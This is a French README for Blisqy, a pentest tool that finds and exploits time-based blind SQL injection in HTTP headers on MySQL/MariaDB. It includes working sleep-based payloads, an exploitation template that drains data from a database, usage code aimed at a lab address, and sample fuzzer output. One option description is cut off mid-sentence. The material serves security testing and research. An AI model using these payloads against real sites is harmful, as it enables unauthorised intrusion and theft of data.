
Version 0.2 - Exploitation d'injection SQL aveugle basée sur le temps dans les en-têtes HTTP (MySQL/MariaDB).
Blisqy est un outil pour aider les chercheurs en sécurité Web à trouver une injection SQL aveugle basée sur le temps dans les en-têtes HTTP et également à exploiter la même vulnérabilité.
L'exploitation permet un siphonnage lent de données depuis une base de données (ne supporte actuellement que MySQL/MariaDB) en utilisant des opérations bit à bit sur les caractères ASCII imprimables, via une injection SQL aveugle.
Pour l'interopérabilité avec d'autres outils Python et pour permettre à d'autres utilisateurs d'utiliser les fonctionnalités fournies dans Blisqy, les modules ici peuvent être importés dans d'autres scripts basés sur Python.
Lors des tests d'injections SQL aveugles basées sur le temps, tout décalage ou congestion réseau peut affecter l'efficacité de votre fuzzing ou exploitation. Pour compenser les éventuels décalages réseau et incertitudes pouvant causer des retards, la comparaison temporelle de Blisqy est dynamique et calculée à l'exécution pour chaque test. Les tests utilisent greenlet (une unité d'exécution coopérative légère) pour fournir une API synchrone de haut niveau au-dessus de la boucle libevevent. Cela permet un moyen rapide et efficace d'effectuer les tests de payload en peu de temps, et un test particulier n'affecte pas un autre car ils ne sont pas entièrement effectués de manière séquentielle.
Blisqy prend désormais en charge le fuzzing pour l'injection SQL aveugle basée sur le temps dans les en-têtes HTTP et les principales fonctionnalités (fuzzing et exploitation) séparées dans des fichiers indépendants pour la portabilité.
Pour utiliser la fonctionnalité de fuzzing, importez le module suivant dans votre script Python et fournissez une cible ainsi que les données de fuzzing comme indiqué ci-dessous :
from lib.blindfuzzer import blindSeeker
Les paramètres cibles doivent être dans un format Dictionnaire/JSON, par exemple (Notez les types de données des variables) :
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
L'invocation du fuzzer une fois les paramètres cibles fournis est comme indiqué ci-dessous :
vulns = blindSeeker(target_params)
vulns.fuzz()
Vous pouvez consulter FindBlindSpot.py pour cet exemple fourni.
Si vous réussissez, vous devriez obtenir un rapport des tests 'injectables' effectués. Veuillez noter que, même si Blisqy essaie de compenser les décalages et la congestion réseau pendant les tests, il est important de vérifier les tests positifs signalés avant de continuer.
Voici un exemple de rapport :
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index
===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.
[+] Injection : X-Forwarded-For : ' or sleep(1)#
[+] Header : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________
[+] Injection : X-Forwarded-For : ' or sleep(1)='
[+] Header : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________
Capture d'écran du fuzzer Blisqy en action :

Après avoir trouvé une potentielle injection SQL aveugle basée sur le temps, vous pouvez préparer un script pour exploiter l'application Web vulnérable.
Tout comme le fuzzer, vous pouvez importer le module d'exploitation dans votre script Python et définir un modèle pour l'opération d'exploitation. Voici un exemple d'importation du module dans un script Python :
from lib.blindexploit import SqlEngine
Ensuite, vous devrez fournir les détails de votre cible ainsi que ses paramètres cibles pour l'exploitation. Voici un exemple d'implémentation de l'exploitation de l'injection SQL aveugle trouvée par le fuzzer :
Les données cibles doivent être dans un format Dictionnaire/JSON spécifiant le serveur, le port, l'en-tête vulnérable trouvé et sa valeur (certaines applications auront besoin ou vérifieront une certaine valeur). Notez également les types de données des variables.
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
Les paramètres cibles doivent suivre, permettant à l'utilisateur de spécifier certaines options liées aux préférences d'exploitation.
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname. L'option par défaut est 'pass'.Après avoir fourni votre cible et ses paramètres, la prochaine chose à fournir est un modèle pour la routine d'exploitation. Blisqy offre un moyen pour les utilisateurs de spécifier où injecter le payload SQL d'exfiltration et le délai sleeptime. Voici un exemple d'implémentation pour l'une des vulnérabilités trouvées dans le rapport d'exemple fourni dans la sous-section précédente.
Injection trouvée sur l'en-tête X-Forwarded-For :
' or sleep(1)='
Modèle pour cette injection particulière :
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
Pendant l'exécution, *sql* sera remplacé par un payload d'injection SQL et *time* sera remplacé par un délai pour sleep().
Une fois tout cela fait, la dernière partie consiste à instancier la routine d'exploitation et à laisser la méthode MysqlDigger() faire le travail.
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)
# Enumerate the MySql Database
BlindSql.MysqlDigger()
Vous pouvez consulter ExploitBlindSpot.py pour cet exemple fourni.
Voici un exemple d'opération d'exploitation :

Vous pouvez m'alerter de tout ce que vous avez trouvé d'intéressant avec Blisqy ou de ce que vous pensez devoir être ajouté/supprimé.
(PDF) Injection SQL aveugle basée sur le temps via les en-têtes HTTP : Fuzzing et exploitation.. Disponible depuis : https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - De l'injection SQL au Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course